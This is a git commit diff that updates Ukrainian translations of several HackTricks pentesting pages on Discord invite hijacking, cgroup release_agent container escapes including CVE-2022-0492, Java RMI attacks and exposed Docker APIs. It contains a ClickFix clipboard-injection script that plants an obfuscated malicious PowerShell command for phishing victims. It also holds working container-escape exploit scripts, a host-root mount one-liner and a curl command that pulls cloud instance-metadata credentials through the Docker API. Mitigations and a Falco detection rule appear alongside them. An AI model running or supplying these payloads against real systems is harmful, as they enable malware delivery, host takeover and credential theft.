Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:26:51 +00:00
parent 8ae1399424
commit faff2a8143
7 changed files with 162 additions and 90 deletions

View File

@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
Вразливість системи запрошень Discord дозволяє зловмисникам отримувати доступ до застарілих або видалених кодів запрошень (тимчасових, постійних або кастомних) як нових посилань на будь-якому сервері з підвищенням рівня 3. Нормалізуючи всі коди до нижнього регістру, зловмисники можуть попередньо зареєструвати відомі коди запрошень і тихо перехоплювати трафік, як тільки оригінальне посилання закінчує термін дії або виходить з підвищення.
Вразливість системи запрошень Discord дозволяє зловмисникам отримувати доступ до застарілих або видалених кодів запрошень (тимчасових, постійних або кастомних) як нових посилань на будь-якому сервері з підвищенням рівня 3. Нормалізуючи всі коди до нижнього регістру, зловмисники можуть попередньо зареєструвати відомі коди запрошень і тихо перехоплювати трафік, як тільки оригінальне посилання закінчує термін дії або сервер-джерело втрачає своє підвищення.
## Invite Types and Hijack Risk
## Типи запрошень та ризик перехоплення
| Invite Type | Hijackable? | Condition / Comments |
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
| Temporary Invite Link | ✅ | Після закінчення терміну дії код стає доступним і може бути повторно зареєстрований як кастомне URL на підвищеному сервері. |
| Permanent Invite Link | ⚠️ | Якщо видалено і складається лише з малих літер і цифр, код може знову стати доступним. |
| Custom Vanity Link | ✅ | Якщо оригінальний сервер втрачає своє підвищення рівня 3, його кастомне запрошення стає доступним для нової реєстрації. |
| Тип запрошення | Можна перехопити? | Умови / Коментарі |
|-----------------------|-------------------|----------------------------------------------------------------------------------------------------------|
| Тимчасове посилання | ✅ | Після закінчення терміну дії код стає доступним і може бути повторно зареєстрований як кастомне URL на підвищеному сервері. |
| Постійне посилання | ⚠️ | Якщо видалено і складається лише з малих літер та цифр, код може знову стати доступним. |
| Кастомне посилання | ✅ | Якщо оригінальний сервер втрачає своє підвищення рівня 3, його кастомне запрошення стає доступним для нової реєстрації. |
## Exploitation Steps
## Кроки експлуатації
1. Розвідка
- Моніторинг публічних джерел (форумів, соціальних мереж, каналів Telegram) на наявність посилань на запрошення, що відповідають шаблону `discord.gg/{code}` або `discord.com/invite/{code}`.
@ -26,16 +26,16 @@
4. Тихе перенаправлення
- Користувачі, які відвідують старе посилання, безперешкодно перенаправляються на сервер, контрольований зловмисником, як тільки перехоплення активується.
## Phishing Flow via Discord Server
## Потік фішингу через сервер Discord
1. Обмежте канали сервера так, щоб лише канал **#verify** був видимим.
2. Розгорніть бота (наприклад, **Safeguard#0786**), щоб запропонувати новачкам підтвердити через OAuth2.
2. Розгорніть бота (наприклад, **Safeguard#0786**), щоб запропонувати новачкам підтвердити свою особу через OAuth2.
3. Бот перенаправляє користувачів на фішинговий сайт (наприклад, `captchaguard.me`) під виглядом CAPTCHA або етапу перевірки.
4. Реалізуйте трюк UX **ClickFix**:
- Відобразіть повідомлення про зламану CAPTCHA.
- Скажіть користувачам відкрити діалог **Win+R**, вставити попередньо завантажену команду PowerShell і натиснути Enter.
### ClickFix Clipboard Injection Example
### Приклад ін'єкції в буфер обміну ClickFix
```javascript
// Copy malicious PowerShell command to clipboard
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
@ -55,7 +55,7 @@ navigator.clipboard.writeText(cmd);
## Посилання
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**Для отримання додаткової інформації зверніться до** [**оригінального блогу**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Це лише резюме:
Original PoC:
---
## Класичний PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Доказ концепції (PoC) демонструє метод експлуатації cgroups шляхом створення файлу `release_agent` і виклику його для виконання довільних команд на хості контейнера. Ось розбивка кроків, що входять до процесу:
ПPoC зловживає функцією **cgroup-v1** `release_agent`: коли останнє завдання cgroup, яке має `notify_on_release=1`, завершується, ядро (в **початкових просторах імен на хості**) виконує програму, шлях до якої зберігається у записуваному файлі `release_agent`. Оскільки це виконання відбувається з **повними правами root на хості**, отримання прав запису до файлу є достатнім для втечі з контейнера.
### Короткий, зрозумілий посібник
1. **Підготуйте новий cgroup**
1. **Підготовка середовища:**
- Створюється директорія `/tmp/cgrp`, яка слугує точкою монтування для cgroup.
- Контролер cgroup RDMA монтується в цю директорію. У разі відсутності контролера RDMA рекомендується використовувати контролер cgroup `memory` як альтернативу.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Налаштуйте дочірній cgroup:**
- Дочірній cgroup з назвою "x" створюється в змонтованій директорії cgroup.
- Сповіщення увімкнені для cgroup "x" шляхом запису 1 у його файл notify_on_release.
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # або o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Налаштуйте Release Agent:**
- Шлях контейнера на хості отримується з файлу /etc/mtab.
- Файл release_agent cgroup потім налаштовується для виконання скрипту з назвою /cmd, розташованого за отриманим шляхом хоста.
2. **Вкажіть `release_agent` на скрипт, контрольований атакуючим, на хості**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Створіть і налаштуйте скрипт /cmd:**
- Скрипт /cmd створюється всередині контейнера і налаштовується для виконання ps aux, перенаправляючи вихідні дані у файл з назвою /output в контейнері. Повний шлях до /output на хості вказується.
3. **Скиньте корисне навантаження**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **Запустіть атаку:**
- Процес ініціюється в "x" дочірньому cgroup і відразу ж завершується.
- Це викликає `release_agent` (скрипт /cmd), який виконує ps aux на хості та записує вихідні дані в /output всередині контейнера.
4. **Запустіть нотифікатор**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # додаємо себе і відразу виходимо
cat /output # тепер містить процеси хоста
```
---
## Уразливість ядра 2022 року CVE-2022-0492
У лютому 2022 року Yiqi Sun та Kevin Wang виявили, що **ядро *не* перевіряло можливості, коли процес записував у `release_agent` в cgroup-v1** (функція `cgroup_release_agent_write`).
Фактично **будь-який процес, який міг змонтувати ієрархію cgroup (наприклад, через `unshare -UrC`), міг записати довільний шлях до `release_agent` без `CAP_SYS_ADMIN` у *початковому* просторі імен користувача**. У контейнері Docker/Kubernetes з конфігурацією за замовчуванням, що працює під root, це дозволяло:
* підвищення привілеїв до root на хості; ↗
* втечу з контейнера без привілеїв контейнера.
Недолік отримав **CVE-2022-0492** (CVSS 7.8 / Високий) і був виправлений у наступних випусках ядра (та всіх пізніших):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Коміт патчу: `1e85af15da28 "cgroup: Fix permission checking"`.
### Мінімальний експлойт всередині контейнера
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Якщо ядро вразливе, бінарний файл busybox з *хоста* виконується з повними правами root.
### Ускладнення та пом'якшення
* **Оновіть ядро** (≥ версії вище). Патч тепер вимагає `CAP_SYS_ADMIN` у *початковому* просторі імен користувача для запису в `release_agent`.
* **Використовуйте cgroup-v2** об'єднана ієрархія **повністю видалила функцію `release_agent`**, усунувши цей клас втеч.
* **Вимкніть неправа простори імен користувачів** на хостах, яким вони не потрібні:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Обов'язковий контроль доступу**: політики AppArmor/SELinux, які забороняють `mount`, `openat` на `/sys/fs/cgroup/**/release_agent`, або скидають `CAP_SYS_ADMIN`, зупиняють техніку навіть на вразливих ядрах.
* **Тільки для читання bind-mask** всіх файлів `release_agent` (приклад скрипта Palo Alto):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Виявлення під час виконання
[`Falco`](https://falco.org/) постачає вбудоване правило з версії v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
Правило спрацьовує при будь-якій спробі запису в `*/release_agent` з процесу всередині контейнера, який все ще має `CAP_SYS_ADMIN`.
## Посилання
* [Unit 42 CVE-2022-0492: контейнерний вихід через cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) детальний аналіз та скрипт для пом'якшення.
* [Правило Sysdig Falco та посібник з виявлення](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -20,14 +20,14 @@ _nmap_ іноді має проблеми з ідентифікацією _SSL_
## Компоненти RMI
Простими словами, _Java RMI_ дозволяє розробнику зробити _Java об'єкт_ доступним в мережі. Це відкриває _TCP_ порт, до якого клієнти можуть підключатися та викликати методи на відповідному об'єкті. Незважаючи на те, що це звучить просто, існує кілька викликів, які _Java RMI_ має вирішити:
Простими словами, _Java RMI_ дозволяє розробнику зробити _Java об'єкт_ доступним в мережі. Це відкриває _TCP_ порт, до якого клієнти можуть підключатися та викликати методи на відповідному об'єкті. Незважаючи на те, що це звучить просто, існує кілька викликів, які _Java RMI_ потрібно вирішити:
1. Щоб надіслати виклик методу через _Java RMI_, клієнти повинні знати IP-адресу, порт прослуховування, реалізований клас або інтерфейс та `ObjID` цільового об'єкта ( `ObjID` - це унікальний та випадковий ідентифікатор, який створюється, коли об'єкт стає доступним в мережі. Він потрібен, оскільки _Java RMI_ дозволяє кільком об'єктам прослуховувати один і той же _TCP_ порт).
1. Щоб передати виклик методу через _Java RMI_, клієнти повинні знати IP-адресу, порт прослуховування, реалізований клас або інтерфейс та `ObjID` цільового об'єкта ( `ObjID` - це унікальний та випадковий ідентифікатор, який створюється, коли об'єкт стає доступним в мережі. Він потрібен, оскільки _Java RMI_ дозволяє кільком об'єктам прослуховувати один і той же _TCP_ порт).
2. Віддалені клієнти можуть виділяти ресурси на сервері, викликаючи методи на відкритому об'єкті. _Java віртуальна машина_ повинна відстежувати, які з цих ресурсів все ще використовуються, а які можуть бути зібрані сміттям.
Перший виклик вирішується за допомогою _RMI реєстру_, який в основному є службою імен для _Java RMI_. Сам _RMI реєстр_ також є _RMI сервісом_, але реалізований інтерфейс та `ObjID` є фіксованими та відомими всім _RMI_ клієнтам. Це дозволяє _RMI_ клієнтам використовувати _RMI_ реєстр, просто знаючи відповідний _TCP_ порт.
Коли розробники хочуть зробити свої _Java об'єкти_ доступними в мережі, вони зазвичай прив'язують їх до _RMI реєстру_. _Реєстр_ зберігає всю інформацію, необхідну для підключення до об'єкта (IP-адреса, порт прослуховування, реалізований клас або інтерфейс та значення `ObjID`) і робить її доступною під зрозумілим ім'ям ( _прив'язане ім'я_). Клієнти, які хочуть використовувати _RMI сервіс_, запитують _RMI реєстр_ про відповідне _прив'язане ім'я_, і реєстр повертає всю необхідну інформацію для підключення. Таким чином, ситуація в основному така ж, як і з звичайною _DNS_ службою. Наступний список показує невеликий приклад:
Коли розробники хочуть зробити свої _Java об'єкти_ доступними в мережі, вони зазвичай прив'язують їх до _RMI реєстру_. _Реєстр_ зберігає всю інформацію, необхідну для підключення до об'єкта (IP-адреса, порт прослуховування, реалізований клас або інтерфейс та значення `ObjID`) і робить її доступною під людським зрозумілим ім'ям ( _прив'язане ім'я_). Клієнти, які хочуть використовувати _RMI сервіс_, запитують _RMI реєстр_ про відповідне _прив'язане ім'я_, і реєстр повертає всю необхідну інформацію для підключення. Таким чином, ситуація в основному така ж, як і з звичайною _DNS_ службою. Наступний список показує невеликий приклад:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -63,7 +63,7 @@ e.printStackTrace();
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви виявляєте _RMI_ endpoint, вам слід спробувати це:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви ідентифікуєте _RMI_ endpoint, вам слід спробувати:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -123,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Вивід дії перерахунку пояснюється детальніше на [сторінках документації](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) проекту. Залежно від результату, ви повинні спробувати перевірити виявлені вразливості.
Вихід дії перерахунку пояснюється детальніше на [сторінках документації](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) проекту. Залежно від результату, ви повинні спробувати перевірити виявлені вразливості.
Значення `ObjID`, які відображає _remote-method-guesser_, можна використовувати для визначення часу безперервної роботи служби. Це може дозволити виявити інші вразливості:
```
@ -136,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Брутфорсинг віддалених методів
## Bruteforcing Remote Methods
Навіть коли під час енумерації не було виявлено вразливостей, доступні _RMI_ сервіси все ще можуть відкривати небезпечні функції. Більше того, незважаючи на те, що комунікація _RMI_ з компонентами за замовчуванням _RMI_ захищена фільтрами десеріалізації, при спілкуванні з користувацькими _RMI_ сервісами такі фільтри зазвичай відсутні. Знання дійсних підписів методів на _RMI_ сервісах є, отже, цінним.
Навіть коли під час енумерації не було виявлено вразливостей, доступні _RMI_ сервіси все ще можуть відкривати небезпечні функції. Більше того, незважаючи на те, що комунікація _RMI_ з компонентами за замовчуванням _RMI_ захищена фільтрами десеріалізації, при спілкуванні з кастомними _RMI_ сервісами такі фільтри зазвичай відсутні. Знання дійсних підписів методів на _RMI_ сервісах є, отже, цінним.
На жаль, _Java RMI_ не підтримує енумерацію методів на _віддалених об'єктах_. Тим не менш, можливо брутфорсити підписи методів за допомогою інструментів, таких як [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) або [rmiscout](https://github.com/BishopFox/rmiscout):
На жаль, _Java RMI_ не підтримує енумерацію методів на _remote objects_. Тим не менш, можливо здійснити брутфорс підписів методів за допомогою інструментів, таких як [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) або [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -209,7 +209,7 @@ uid=0(root) gid=0(root) groups=0(root)
## Відомі інтерфейси
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) позначає класи або інтерфейси як `known`, якщо вони внесені до внутрішньої бази даних інструменту відомих _RMI services_. У цих випадках ви можете використовувати дію `known`, щоб отримати більше інформації про відповідний _RMI service_:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) позначає класи або інтерфейси як `known`, якщо вони перераховані в внутрішній базі даних інструменту відомих _RMI services_. У цих випадках ви можете використовувати дію `known`, щоб отримати більше інформації про відповідний _RMI service_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan

View File

@ -10,11 +10,11 @@ Docker є **передовою платформою** в **індустрії к
#### Основна архітектура docker
- [**containerd**](http://containerd.io): Це **основний виконуваний модуль** для контейнерів, що відповідає за всебічне **управління життєвим циклом контейнера**. Це включає в себе обробку **переносу та зберігання образів**, а також нагляд за **виконанням, моніторингом та мережевими з'єднаннями** контейнерів. **Більш детальна інформація** про containerd **досліджується далі**.
- [**containerd**](http://containerd.io): Це **основний виконуваний модуль** для контейнерів, що відповідає за всебічне **управління життєвим циклом контейнера**. Це включає в себе обробку **переносу та зберігання образів**, а також нагляд за **виконанням, моніторингом і мережевими з'єднаннями** контейнерів. **Більш детальні відомості** про containerd **досліджуються далі**.
- **container-shim** відіграє критичну роль як **посередник** в обробці **безголових контейнерів**, безперешкодно беручи на себе функції від **runc** після ініціалізації контейнерів.
- [**runc**](http://runc.io): Відомий своїми **легкими та універсальними можливостями виконуваного модуля** контейнерів, runc відповідає **стандарту OCI**. Він використовується containerd для **запуску та управління контейнерами** відповідно до **вказівок OCI**, еволюціонуючи з оригінального **libcontainer**.
- [**grpc**](http://www.grpc.io) є необхідним для **полегшення комунікації** між containerd та **docker-engine**, забезпечуючи **ефективну взаємодію**.
- [**OCI**](https://www.opencontainers.org) є ключовим у підтримці **специфікацій OCI** для виконуваних модулів та образів, при цьому останні версії Docker є **сумісними з обома стандартами OCI для образів та виконуваних модулів**.
- [**grpc**](http://www.grpc.io) є важливим для **полегшення комунікації** між containerd та **docker-engine**, забезпечуючи **ефективну взаємодію**.
- [**OCI**](https://www.opencontainers.org) є ключовим у підтримці **специфікацій OCI** для виконуваних модулів та образів, при цьому останні версії Docker є **відповідними як стандартам OCI для образів, так і для виконуваних модулів**.
#### Основні команди
```bash
@ -41,11 +41,11 @@ docker system prune -a
```
#### Containerd
**Containerd** був спеціально розроблений для задоволення потреб контейнерних платформ, таких як **Docker і Kubernetes**, серед інших. Він має на меті **спростити виконання контейнерів** на різних операційних системах, включаючи Linux, Windows, Solaris та інші, абстрагуючи функціональність, специфічну для операційної системи, та системні виклики. Мета Containerd полягає в тому, щоб включити лише основні функції, необхідні його користувачам, прагнучи уникнути непотрібних компонентів. Однак досягти цієї мети повністю вважається складним завданням.
**Containerd** був спеціально розроблений для задоволення потреб контейнерних платформ, таких як **Docker і Kubernetes**, серед інших. Його мета - **спростити виконання контейнерів** на різних операційних системах, включаючи Linux, Windows, Solaris та інші, абстрагуючи функціональність, специфічну для операційної системи, та системні виклики. Мета Containerd полягає в тому, щоб включити лише основні функції, необхідні його користувачам, прагнучи уникнути непотрібних компонентів. Однак повністю досягти цієї мети визнано складним.
Ключовим дизайнерським рішенням є те, що **Containerd не обробляє мережеві з'єднання**. Мережа вважається критично важливим елементом у розподілених системах, з такими складнощами, як програмно визначена мережа (SDN) та виявлення сервісів, які значно відрізняються від однієї платформи до іншої. Тому Containerd залишає аспекти мережі для управління платформами, які він підтримує.
Ключовим дизайнерським рішенням є те, що **Containerd не обробляє мережеві з'єднання**. Мережа вважається критично важливим елементом у розподілених системах, з такими складнощами, як програмно визначена мережа (SDN) та виявлення сервісів, які значно відрізняються від однієї платформи до іншої. Тому Containerd залишає мережеві аспекти для управління платформами, які він підтримує.
Хоча **Docker використовує Containerd** для запуску контейнерів, важливо зазначити, що Containerd підтримує лише підмножину функціональностей Docker. Зокрема, Containerd не має можливостей управління мережею, присутніх у Docker, і не підтримує створення Docker swarms безпосередньо. Це відмінність підкреслює зосереджену роль Containerd як середовища виконання контейнерів, делегуючи більш спеціалізовані функціональності платформам, з якими він інтегрується.
Хоча **Docker використовує Containerd** для запуску контейнерів, важливо зазначити, що Containerd підтримує лише підмнож функціональності Docker. Зокрема, Containerd не має можливостей управління мережею, які є в Docker, і не підтримує створення Docker swarm безпосередньо. Це відмінність підкреслює зосереджену роль Containerd як середовища виконання контейнерів, делегуючи більш спеціалізовані функції платформам, з якими він інтегрується.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -65,7 +65,7 @@ ctr container delete <containerName>
**Podman** - це відкритий контейнерний движок, який відповідає стандартам [Open Container Initiative (OCI)](https://github.com/opencontainers), розроблений і підтримуваний компанією Red Hat. Він відрізняється від Docker кількома особливими функціями, зокрема **архітектурою без демонів** та підтримкою **контейнерів без прав root**, що дозволяє користувачам запускати контейнери без привілеїв root.
Podman розроблений для сумісності з API Docker, що дозволяє використовувати команди Docker CLI. Ця сумісність поширюється на його екосистему, яка включає інструменти, такі як **Buildah** для створення образів контейнерів і **Skopeo** для операцій з образами, таких як push, pull і inspect. Більше деталей про ці інструменти можна знайти на їхній [сторінці GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
Podman розроблений для сумісності з API Docker, що дозволяє використовувати команди Docker CLI. Ця сумісність поширюється на його екосистему, яка включає інструменти, такі як **Buildah** для створення образів контейнерів і **Skopeo** для операцій з образами, таких як push, pull і inspect. Більше деталей про ці інструменти можна знайти на їхній [GitHub сторінці](https://github.com/containers/buildah/tree/master/docs/containertools).
**Ключові відмінності**
@ -75,7 +75,7 @@ Podman розроблений для сумісності з API Docker, що д
Підхід Podman пропонує безпечну та гнучку альтернативу Docker, підкреслюючи управління привілеями користувачів і сумісність з існуючими робочими процесами Docker.
> [!NOTE]
> [!TIP]
> Зверніть увагу, що оскільки podman прагне підтримувати той же API, що й docker, ви можете використовувати ті ж команди з podman, що й з docker, такі як:
>
> ```bash
@ -136,7 +136,7 @@ GitCommit: fec3683
```
Якщо ви можете **зв'язатися з віддаленим docker API за допомогою команди `docker`**, ви можете **виконати** будь-які з **docker** [**команд, які були раніше** прокоментовані](2375-pentesting-docker.md#basic-commands) для взаємодії з сервісом.
> [!NOTE]
> [!TIP]
> Ви можете `export DOCKER_HOST="tcp://localhost:2375"` і **уникнути** використання параметра `-H` з командою docker
**Швидке підвищення привілеїв**
@ -145,14 +145,14 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
Іноді ви можете побачити **2376** активним для **TLS** кінцевої точки. Мені не вдалося підключитися до нього за допомогою docker клієнта, але це можливо зробити за допомогою curl.
Іноді ви побачите **2376** для **TLS** кінцевої точки. Я не зміг підключитися до неї за допомогою docker клієнта, але це можливо зробити за допомогою curl.
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -199,7 +199,7 @@ cat /mnt/etc/shadow
### Підвищення привілеїв
Якщо ви знаходитесь на хості, який використовує docker, ви можете [**прочитати цю інформацію, щоб спробувати підвищити привілеї**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
Якщо ви знаходитесь всередині хоста, який використовує docker, ви можете [**прочитати цю інформацію, щоб спробувати підвищити привілеї**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
### Виявлення секретів у запущених контейнерах Docker
```bash
@ -233,28 +233,28 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
#### Захист Docker Images
- Ви можете використовувати образ docker з [https://github.com/quay/clair](https://github.com/quay/clair), щоб сканувати ваші інші образи docker і знаходити вразливості.
- Ви можете використовувати образ docker з [https://github.com/quay/clair](https://github.com/quay/clair) для сканування ваших інших образів docker та виявлення вразливостей.
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Захист Dockerfiles
- Ви можете використовувати інструмент [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань. Кожне неправильне налаштування отримає ID, ви можете знайти тут [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), як виправити кожне з них.
- Ви можете використовувати інструмент [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань. Кожному неправильному налаштуванню буде присвоєно ID, ви можете знайти тут [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) як виправити кожне з них.
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
- Ви можете використовувати інструмент [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань.
- Ви можете використовувати інструмент [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань.
- `dockerfilelint Dockerfile`
![](<../images/image (212).png>)
- Ви можете використовувати інструмент [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань.
- Ви можете використовувати інструмент [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань.
- `dockerlint Dockerfile`
![](<../images/image (71).png>)
- Ви можете використовувати інструмент [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) для **перевірки вашого Dockerfile** та знаходження всіх видів неправильних налаштувань.
- Ви можете використовувати інструмент [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) для **перевірки вашого Dockerfile** та виявлення всіх видів неправильних налаштувань.
